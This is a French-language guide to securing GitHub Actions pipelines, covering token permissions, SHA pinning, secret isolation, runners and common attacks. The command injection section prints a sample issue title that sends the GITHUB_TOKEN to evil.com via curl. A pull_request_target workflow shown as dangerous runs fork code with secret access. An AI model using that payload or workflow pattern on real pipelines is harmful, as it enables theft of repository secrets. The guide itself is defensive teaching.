Sécurité GitHub Actions : protéger vos pipelines CI/CD
Mise à jour :
Un workflow GitHub Actions mal configuré peut exfiltrer tous vos secrets, injecter du code malveillant dans vos artefacts, ou compromettre vos environnements de production. Les pipelines CI/CD sont devenus le vecteur d’attaque n°1 sur la supply chain logicielle.
Ce guide centralise les bonnes pratiques de sécurité pour vos workflows GitHub Actions. Il complète le guide général GitHub Actions et s’inscrit dans la stratégie globale de sécurité de la supply chain.
Pourquoi les pipelines sont une cible prioritaire
Un pipeline CI/CD dispose d’accès privilégiés :
| Accès | Risque si compromis |
|---|---|
| Secrets (tokens, credentials) | Exfiltration, accès aux systèmes tiers |
| Code source | Injection de backdoors |
| Artefacts (images, binaires) | Distribution de malware |
| Environnements (staging, prod) | Déploiement de code malveillant |
| Registres (Docker Hub, npm) | Publication de versions compromises |
L’attaque tj-actions/changed-files (mars 2025) a démontré qu’une seule action compromise peut exfiltrer les secrets de milliers de dépôts en quelques heures.
Principe de moindre privilège
Le principe de moindre privilège (ou least privilege) consiste à n’accorder que les permissions strictement nécessaires à l’exécution d’une tâche. C’est un pilier de la sécurité : si un composant est compromis, les dégâts restent limités à ce qu’il pouvait faire.
Comment GitHub Actions gère les permissions
Chaque workflow s’exécute avec un GITHUB_TOKEN généré automatiquement.
Ce token permet d’interagir avec l’API GitHub (cloner le repo, créer des
issues, publier des packages, etc.).
Par défaut, les permissions de ce token dépendent de la configuration du dépôt :
- Dépôts créés après février 2023 : permissions restreintes (
contents: readetmetadata: readuniquement) - Dépôts plus anciens : permissions larges par défaut (lecture ET écriture sur la plupart des scopes)
Le problème ? Beaucoup de dépôts existants ont encore des permissions larges par défaut. Un workflow qui n’a besoin que de lire le code se retrouve avec la capacité de modifier des fichiers, créer des releases, ou publier des packages.
Permissions au niveau workflow
Même avec des paramètres restrictifs au niveau du dépôt, déclarez toujours explicitement les permissions dans vos workflows. Cela documente les besoins réels et protège contre un changement accidentel des paramètres du dépôt :
name: Build and Test
# Permissions par défaut pour tout le workflowpermissions: contents: read # Lecture du code uniquement
on: push: branches: [main]
jobs: build: runs-on: ubuntu-24.04 steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 - run: npm ci && npm testPermissions par job
Pour les workflows complexes avec plusieurs jobs aux besoins différents, vous
pouvez affiner les permissions au niveau de chaque job. Le job test n’a
besoin que de lire le code, tandis que publish doit pouvoir écrire sur
GitHub Packages :
jobs: test: runs-on: ubuntu-24.04 permissions: contents: read steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 - run: npm test
publish: needs: test runs-on: ubuntu-24.04 permissions: contents: read packages: write # Uniquement pour ce job steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 - run: npm publishSi le job test était compromis (par exemple via une dépendance malveillante),
l’attaquant ne pourrait pas publier de package : il n’a pas la permission
packages: write.
Comprendre les permissions disponibles
GitHub Actions propose une dizaine de permissions, chacune contrôlant l’accès à une partie de l’API GitHub. Voici les plus courantes et leur niveau de risque :
| Permission | Usage | Risque si abusée |
|---|---|---|
contents: read | Cloner le repo | Faible |
contents: write | Pousser, créer des releases | Injection de code |
packages: write | Publier sur GitHub Packages | Distribution de malware |
actions: write | Modifier les workflows | Persistance |
id-token: write | OIDC pour cloud providers | Accès infrastructure |
security-events: write | Upload SARIF | Masquer des alertes |
Scorecard Token-Permissions : workflow-level vs job-level
OpenSSF Scorecard audite la sécurité
de vos dépôts et inclut un check Token-Permissions qui vérifie que vos
workflows respectent le principe du moindre privilège. Ce check est très
strict : il exige que les permissions write soient déclarées au niveau
job, pas au niveau workflow.
Pourquoi cette distinction ?
- Permissions workflow-level : s’appliquent à tous les jobs du workflow
- Permissions job-level : s’appliquent uniquement au job concerné
Si un job est compromis, seules ses permissions sont exposées. Avec des permissions workflow-level, tous les jobs héritent des mêmes droits, même s’ils n’en ont pas besoin.
❌ Score Scorecard : 0/10 (permissions write au niveau workflow)
name: Build and Publish
permissions: contents: read packages: write # ⚠️ Tous les jobs ont packages:write id-token: write
jobs: test: runs-on: ubuntu-24.04 steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 - run: npm test
publish: needs: test runs-on: ubuntu-24.04 steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 - run: npm publish✅ Score Scorecard : 10/10 (permissions minimales + write au niveau job)
name: Build and Publish
# Permissions minimales au niveau workflowpermissions: contents: read
jobs: test: runs-on: ubuntu-24.04 # Pas de permissions supplémentaires nécessaires permissions: contents: read steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 - run: npm test
publish: needs: test runs-on: ubuntu-24.04 # Permissions write uniquement pour ce job permissions: contents: read packages: write id-token: write steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 - run: npm publishCas réel : devops-status-api
Lors d’un audit Scorecard, le score Token-Permissions était à 0/10 malgré des
permissions explicites. La correction a consisté à déplacer packages: write
et security-events: write du niveau workflow vers les jobs qui en avaient
besoin :
| Avant | Après | Impact |
|---|---|---|
| Score global : 7.4/10 | Score global : 8.5/10 | +1.1 point |
| Token-Permissions : 0/10 | Token-Permissions : 10/10 | +10 points |
Épinglage des actions tierces
La puissance de GitHub Actions vient en grande partie de son écosystème d’actions réutilisables. Plutôt que de réécrire la logique pour cloner un repo, publier une image Docker ou déployer sur AWS, vous utilisez des actions créées par GitHub, des éditeurs, ou la communauté.
Le problème ? Vous exécutez du code tiers dans votre pipeline, avec accès à vos secrets et à votre code source. C’est exactement ce qu’exploitent les attaques supply chain.
Comment fonctionne le versioning des actions
Quand vous écrivez uses: actions/checkout@v4, GitHub résout cette référence
ainsi :
- Il cherche le dépôt
github.com/actions/checkout - Il cherche le tag Git
v4 - Il télécharge et exécute le code correspondant à ce tag
Le problème : un tag Git est mutable. Le mainteneur peut le déplacer vers n’importe quel commit à tout moment. Ce mécanisme, pratique pour recevoir automatiquement les correctifs de sécurité, devient un vecteur d’attaque si le compte du mainteneur est compromis.
Le problème des tags mutables
Un tag comme @v4 peut être redirigé vers n’importe quel commit :
# ❌ Dangereux : tag mutable- uses: actions/checkout@v4Si le mainteneur (ou un attaquant qui a compromis son compte) modifie le tag, votre workflow exécutera un code différent sans que vous le sachiez.
C’est exactement ce qui s’est passé avec l’attaque tj-actions/changed-files en mars 2025 : l’attaquant a modifié les tags existants pour pointer vers du code malveillant, affectant instantanément tous les workflows qui utilisaient ces tags.
Solution : épingler sur SHA
Un commit SHA (Secure Hash Algorithm) est une empreinte cryptographique unique et immuable. Contrairement à un tag, personne ne peut modifier le contenu d’un commit sans changer son SHA :
# ✅ Sécurisé : SHA immuable- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11Même si un attaquant compromet le dépôt de l’action, votre workflow continuera d’utiliser exactement le code que vous avez validé.
Obtenir le SHA d’une action
Pour récupérer le SHA correspondant à un tag :
# Via l'API GitHubcurl -s https://api.github.com/repos/actions/checkout/commits/v4 | jq -r .sha
# Via la CLI ghgh api repos/actions/checkout/commits/v4 --jq .shaPour plus de détails sur ces commandes, consultez les guides
curl et jq.
Automatiser l’épinglage avec StepSecurity
Convertir manuellement tous les tags en SHA est fastidieux. StepSecurity ↗ propose plusieurs outils pour automatiser ce travail.
Étape 1 : convertir les tags en SHA
Rendez-vous sur app.stepsecurity.io ↗. Collez le contenu de votre workflow YAML, et l’outil génère automatiquement une version avec tous les tags convertis en SHA.
Vous pouvez aussi utiliser l’outil CLI pin-github-action ↗ :
# Installer l'outilnpm install -g pin-github-action
# Convertir un workflowpin-github-action .github/workflows/ci.yml
# Résultat : le fichier est modifié avec les SHAÉtape 2 : ajouter Harden Runner (optionnel mais recommandé)
L’action harden-runner ↗ surveille ce que fait votre workflow pendant son exécution. Elle détecte les connexions réseau sortantes, ce qui permet d’identifier une exfiltration de données (un attaquant qui envoie vos secrets vers un serveur externe).
Ajoutez-la comme première étape de chaque job :
name: Hardened Workflow
permissions: contents: read
on: push: branches: [main]
jobs: build: runs-on: ubuntu-24.04 steps: # DOIT être la première étape du job - name: Harden Runner uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 with: egress-policy: audit
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 - run: npm ci && npm testÉtape 3 : analyser les connexions sortantes
Après l’exécution du workflow, consultez le tableau de bord StepSecurity (lien affiché dans les logs du job). Vous verrez toutes les connexions réseau effectuées :
| Destination | Usage légitime |
|---|---|
github.com | Cloner le repo, API GitHub |
registry.npmjs.org | Télécharger les dépendances npm |
objects.githubusercontent.com | Télécharger des releases |
Si vous voyez une destination inconnue (ex: evil-server.com), c’est le
signe d’une compromission.
Étape 4 : passer en mode blocage
Une fois les destinations légitimes identifiées, passez en mode block pour
empêcher toute connexion non autorisée :
- name: Harden Runner uses: step-security/harden-runner@17d0e2bd7d51742c71671bd19fa12bdc9d40a3d6 with: egress-policy: block allowed-endpoints: > github.com:443 registry.npmjs.org:443 objects.githubusercontent.com:443Toute connexion vers une destination non listée fera échouer le workflow. C’est une protection efficace contre l’exfiltration de secrets, même si une action tierce est compromise.
Gestion des secrets
Les secrets sont les informations sensibles dont vos workflows ont besoin : tokens d’API, mots de passe de bases de données, clés SSH, credentials cloud. Ils représentent la cible principale des attaquants car ils donnent accès à vos systèmes externes.
GitHub Actions propose un mécanisme de secrets intégré : vous stockez les
valeurs dans les paramètres du dépôt, et vous y accédez via ${{ secrets.NOM }}.
GitHub masque automatiquement ces valeurs dans les logs (en théorie).
Mais ce mécanisme a des limites :
- Tous les workflows ont accès à tous les secrets du dépôt par défaut
- Les logs peuvent fuiter si vous manipulez mal les secrets
- Pas de séparation entre environnements (dev/staging/prod)
Comprendre les niveaux de secrets
GitHub propose trois niveaux de secrets, du plus large au plus restreint :
| Niveau | Portée | Cas d’usage |
|---|---|---|
| Organisation | Tous les dépôts de l’org | Credentials partagés (registry, cloud) |
| Dépôt | Tous les workflows du dépôt | Secrets spécifiques au projet |
| Environnement | Un environnement spécifique | Isolation staging/prod |
Pour la production, utilisez toujours les secrets d’environnement.
Isolation par environnement
Les environnements GitHub permettent de créer des contextes d’exécution
séparés, chacun avec ses propres secrets et règles de protection. Un job
qui s’exécute dans l’environnement staging n’a pas accès aux secrets de
production.
Pour créer un environnement : Settings > Environments > New environment.
Ensuite, liez vos jobs à un environnement :
jobs: deploy-staging: runs-on: ubuntu-24.04 environment: staging # Accès uniquement aux secrets de staging steps: - run: deploy --token ${{ secrets.DEPLOY_TOKEN }}
deploy-production: needs: deploy-staging runs-on: ubuntu-24.04 environment: production # Secrets différents, même nom de variable steps: - run: deploy --token ${{ secrets.DEPLOY_TOKEN }}Dans cet exemple, DEPLOY_TOKEN existe dans les deux environnements, mais avec
des valeurs différentes. Le token de staging n’a pas accès à la production,
et vice versa.
Protection des environnements
Les environnements permettent d’ajouter des garde-fous avant déploiement. Dans Settings > Environments > [votre environnement], configurez :
| Protection | Description | Recommandation prod |
|---|---|---|
| Required reviewers | Un humain doit approuver | 1-2 reviewers |
| Wait timer | Délai avant exécution | 5-15 minutes |
| Deployment branches | Branches autorisées | main uniquement |
Le wait timer est particulièrement utile : si vous détectez un problème juste après le merge, vous avez quelques minutes pour annuler le déploiement.
Ne jamais exposer les secrets dans les logs
GitHub masque automatiquement les secrets dans les logs, mais ce masquage a des limites. Il ne fonctionne que si la valeur exacte apparaît. Si vous manipulez le secret (encodage base64, concaténation), le masquage échoue.
Règle d’or : ne jamais passer un secret directement dans une commande shell.
# ❌ Dangereux : interpolation directe dans le shell- run: echo "Token: ${{ secrets.API_TOKEN }}"
# ❌ Dangereux : le secret apparaît dans la commande (visible dans les logs de debug)- run: curl -H "Authorization: Bearer ${{ secrets.API_TOKEN }}" https://api.example.com
# ✅ Passer par une variable d'environnement- run: curl -H "Authorization: Bearer $API_TOKEN" https://api.example.com env: API_TOKEN: ${{ secrets.API_TOKEN }}Avec la méthode correcte, le secret est injecté dans l’environnement du processus, pas dans la ligne de commande. Il n’apparaît pas dans l’historique ni dans les logs de debug.
Détection de secrets exposés
Malgré toutes les précautions, des secrets peuvent se retrouver dans le code (copier-coller malheureux, fichier de config commité par erreur). Ajoutez un scan automatique dans votre pipeline :
- name: Scan for secrets uses: gitleaks/gitleaks-action@cb7149a9b57195b609c63e8518d2c6056677d2d0 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}Gitleaks analyse le code et les commits à la recherche de patterns de secrets (tokens AWS, clés API, mots de passe). Le workflow échoue si un secret est détecté, bloquant le merge.
Pour aller plus loin, voir le guide Gitleaks.
Runners sécurisés
Un runner est la machine qui exécute vos workflows. C’est l’environnement où votre code est cloné, vos tests exécutés, vos artefacts construits. Si cette machine est compromise, l’attaquant a accès à tout ce que le workflow peut faire.
GitHub propose deux types de runners :
- GitHub-hosted : machines virtuelles gérées par GitHub
- Self-hosted : machines que vous gérez vous-même
Runners GitHub-hosted : le choix par défaut
Les runners GitHub-hosted sont des VM éphémères créées pour chaque job et détruites immédiatement après. Cette isolation forte est leur principal avantage sécurité :
- Chaque job démarre sur une machine “propre”
- Pas de persistance entre les exécutions
- Pas de risque qu’un job compromis affecte les suivants
C’est le choix recommandé pour la majorité des cas d’usage.
Runners GitHub-hosted vs self-hosted
| Aspect | GitHub-hosted | Self-hosted |
|---|---|---|
| Isolation | VM éphémère, détruite après le job | Persistant par défaut |
| Coût | Inclus (limites gratuites) | Infrastructure à gérer |
| Contrôle | Limité | Total |
| Risque | Faible (isolation forte) | Élevé si mal configuré |
| Réseau | Internet public | Accès réseau interne possible |
Pourquoi utiliser des runners self-hosted ?
Malgré les risques, les runners self-hosted ont des cas d’usage légitimes :
- Accès réseau interne : déployer sur des serveurs non exposés à Internet
- Hardware spécifique : GPU, architecture ARM, grande capacité mémoire
- Coût : pour les gros volumes, c’est souvent moins cher
- Conformité : certaines régulations imposent que le code ne quitte pas votre infra
Sécuriser les runners self-hosted
Le principal risque des runners self-hosted est la persistance. Si un workflow malveillant s’exécute, il peut :
- Laisser des backdoors sur la machine
- Voler des credentials présents sur le disque
- Affecter les jobs suivants qui s’exécutent sur le même runner
Pour mitiger ces risques :
-
Éphémères : détruire le runner après chaque job
Configurez vos runners pour qu’ils se terminent après un seul job. Le label
ephemeralest une convention, mais c’est votre infrastructure qui doit implémenter ce comportement :jobs:build:runs-on: [self-hosted, ephemeral] -
Isolés : un pool de runners par environnement
Ne mélangez pas les runners de dev et de prod. Un workflow de dev compromis ne doit pas pouvoir affecter la production. Créez des pools séparés avec des labels distincts (
self-hosted-dev,self-hosted-prod). -
Restreints : limiter les dépôts autorisés
Dans les paramètres de l’organisation, configurez quels dépôts peuvent utiliser quels runners. Un dépôt public ne devrait jamais avoir accès à vos runners self-hosted.
-
Surveillés : logs centralisés et alertes
Envoyez les logs des runners vers un SIEM. Configurez des alertes sur les comportements anormaux : connexions réseau inhabituelles, création de processus suspects, modification de fichiers système.
GARM : gestion des runners à l’échelle
Gérer des runners éphémères manuellement est complexe. GARM ↗ (GitHub Actions Runner Manager) automatise la création et destruction de runners à la demande, avec support pour plusieurs providers cloud (AWS, Azure, GCP, OpenStack, LXD).
Protection contre les attaques courantes
Au-delà des permissions et des secrets, certaines vulnérabilités sont spécifiques à la façon dont GitHub Actions fonctionne. Voici les plus courantes et comment s’en protéger.
Injection de commandes
C’est la vulnérabilité la plus fréquente. Elle survient quand vous insérez des données contrôlées par un utilisateur directement dans une commande shell.
Le problème : GitHub Actions utilise la syntaxe ${{ }} pour l’interpolation.
Cette interpolation se fait avant l’exécution du shell, sans échappement :
# ❌ Vulnérable à l'injection- run: echo "Issue: ${{ github.event.issue.title }}"Si un attaquant crée une issue avec le titre :
"; curl https://evil.com/steal?token=$GITHUB_TOKEN #La commande exécutée devient :
echo "Issue: "; curl https://evil.com/steal?token=$GITHUB_TOKEN #"L’attaquant vient d’exfiltrer votre GITHUB_TOKEN.
Solution : passer les données utilisateur via des variables d’environnement. Le shell les traite comme des valeurs, pas comme du code :
# ✅ Sécurisé : la valeur est échappée par le shell- run: echo "Issue: $ISSUE_TITLE" env: ISSUE_TITLE: ${{ github.event.issue.title }}Cette règle s’applique à toutes les données contrôlées par des utilisateurs : titres d’issues, noms de branches, messages de commit, labels, corps de PR, etc.
Pull requests de forks
Quand quelqu’un fork votre dépôt et ouvre une PR, son code s’exécute dans votre pipeline. C’est un vecteur d’attaque classique : modifier le workflow ou le code pour exfiltrer vos secrets.
GitHub a deux événements pour les PRs :
| Événement | Accès aux secrets | Code exécuté |
|---|---|---|
pull_request | ❌ Non (pour les forks) | Code du fork |
pull_request_target | ✅ Oui | Code de la branche cible |
pull_request_target est dangereux car il donne accès aux secrets tout en
pouvant exécuter du code modifié par le fork (si vous faites un checkout
de la PR).
# ⚠️ Dangereux : accès aux secrets + code du forkon: pull_request_target: types: [opened, synchronize]
jobs: build: runs-on: ubuntu-24.04 steps: - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 with: ref: ${{ github.event.pull_request.head.sha }} # Code du fork ! - run: npm test # Exécute le code malveillant avec accès aux secretsSolution : utilisez pull_request pour les PRs de forks. Les secrets
ne sont pas accessibles, ce qui limite les dégâts :
# ✅ Sécurisé : pas d'accès aux secrets pour les forkson: pull_request: types: [opened, synchronize]Si vous avez vraiment besoin de pull_request_target (rare), ne faites
jamais de checkout du code de la PR.
Workflow dispatch avec inputs
L’événement workflow_dispatch permet de déclencher un workflow manuellement
avec des paramètres. Ces paramètres sont des inputs utilisateur, donc
potentiellement malveillants.
Deux protections essentielles :
- Limiter les valeurs possibles avec
type: choice - Restreindre qui peut déclencher avec une condition
if
on: workflow_dispatch: inputs: environment: description: 'Environment to deploy' required: true type: choice # Liste fermée, pas de saisie libre options: - staging - production
jobs: deploy: # Seuls certains utilisateurs peuvent déclencher if: contains('["alice", "bob", "deploy-bot"]', github.actor) runs-on: ubuntu-24.04 steps: # L'input est safe car c'est un choice, mais bonne pratique quand même - run: deploy --env "$DEPLOY_ENV" env: DEPLOY_ENV: ${{ inputs.environment }}Checklist sécurité workflow
Avant chaque merge d’un workflow :
- Permissions définies explicitement et minimales
- Actions tierces épinglées sur SHA (pas de
@v1,@latest) - Secrets isolés par environnement
- Pas d’injection : inputs utilisés via variables d’environnement
- Pas de
pull_request_targetsans raison impérative - Scan de secrets (Gitleaks, TruffleHog) dans le pipeline
- Revue de code du workflow comme du code applicatif
Outils recommandés
| Outil | Usage |
|---|---|
| StepSecurity Harden Runner ↗ | Durcissement automatique, détection d’exfiltration |
| Checkov | Scanner IaC (Terraform, Kubernetes, Dockerfiles, workflows GitHub Actions) |
| Scorecard | Audit de la posture sécurité du dépôt (Token-Permissions, Pinned-Dependencies…) |
| Gitleaks | Détection de secrets dans les commits |
| pin-github-action | Convertir les tags en SHA |
| GARM ↗ | Runners éphémères auto-scalés |
À retenir
-
Moindre privilège : permissions explicites et minimales, jamais
write-all -
Permissions job-level : les
writeau niveau job, pas workflow (Scorecard Token-Permissions) -
Épinglage SHA : ne jamais faire confiance aux tags mutables (
@v1,@latest) -
Isolation des secrets : environnements séparés, approbation pour la prod
-
Runners éphémères : détruire l’environnement après chaque job
-
Validation des inputs : traiter tout input externe comme potentiellement malveillant
-
Audit régulier : lancez Scorecard et Checkov pour détecter les dérives
Liens utiles
Guides internes
- Supply chain — Comprendre les attaques
- OpenSSF Scorecard — Auditer la sécurité de vos dépôts